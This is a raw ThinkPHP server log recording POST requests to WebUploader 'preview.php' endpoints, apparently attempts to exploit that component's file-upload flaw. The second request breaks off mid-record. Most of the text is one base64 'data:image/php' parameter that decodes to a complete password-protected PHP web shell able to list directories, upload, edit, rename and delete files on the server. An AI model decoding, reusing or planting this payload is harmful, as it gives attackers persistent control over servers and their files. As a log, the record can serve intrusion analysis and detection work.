--------------------------------------------------------------- [ 2024-11-14T02:19:31+08:00 ] 116.213.36.234 POST 59.110.137.245/public/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.003254s] [吞吐率:307.30req/s] [内存消耗:196.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:35+08:00 ] 116.213.36.234 POST 59.110.137.245/Public/Js/webuploader/0.1.15/server/preview.php [运行时间:0.002514s] [吞吐率:397.75req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND 